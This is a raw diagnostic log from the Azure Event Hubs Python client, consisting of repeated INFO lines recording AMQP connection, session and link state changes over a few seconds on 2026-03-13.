[azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,253 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:15,375 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,375 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,375 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,376 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:15,376 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,376 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:15,376 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,376 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:15,435 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,486 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:15,536 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:15,586 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,586 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:15,637 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,637 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:15,848 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,907 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,024 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:16,025 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,025 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:16,025 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,269 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:16,385 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,385 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,386 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:16,443 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,494 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:16,544 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:16,594 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,595 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:16,645 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,645 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:16,855 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:16,913 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,029 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,029 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,029 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:17,030 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:17,373 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,374 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:17,427 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,477 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:17,527 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:17,578 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,578 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:17,628 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,628 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:17,834 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:17,888 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,001 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,225 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:18,332 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,332 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,332 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,333 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,333 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,333 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,333 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,333 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,385 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,436 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,486 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,536 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,537 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,587 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,587 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,792 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,845 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:18,955 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,170 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:19,270 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,271 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:19,321 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,371 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,421 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:19,472 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,472 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:19,522 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,522 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:19,724 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,774 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:19,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,118 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:20,234 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,234 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,234 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,234 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:20,234 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,235 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:20,235 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,235 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:20,292 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,342 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,392 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:20,443 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,443 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:20,493 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,493 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:20,702 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,760 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:20,875 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,124 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,233 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:21,287 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,337 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,387 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:21,438 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,438 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:21,488 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,488 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:21,694 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,748 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:21,860 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,102 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:22,220 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,220 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,220 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,220 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:22,221 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,221 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:22,221 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,221 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:22,279 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,329 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,379 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:22,430 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,430 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:22,480 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,480 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:22,690 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,749 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:22,866 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:22,867 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,111 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,227 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:23,285 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,335 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,385 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:23,436 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,436 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:23,486 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,486 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:23,696 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,754 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:23,869 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,101 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,210 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:24,264 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,314 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:24,364 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:24,415 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,415 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:24,465 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,465 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:24,671 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,725 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:24,837 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> 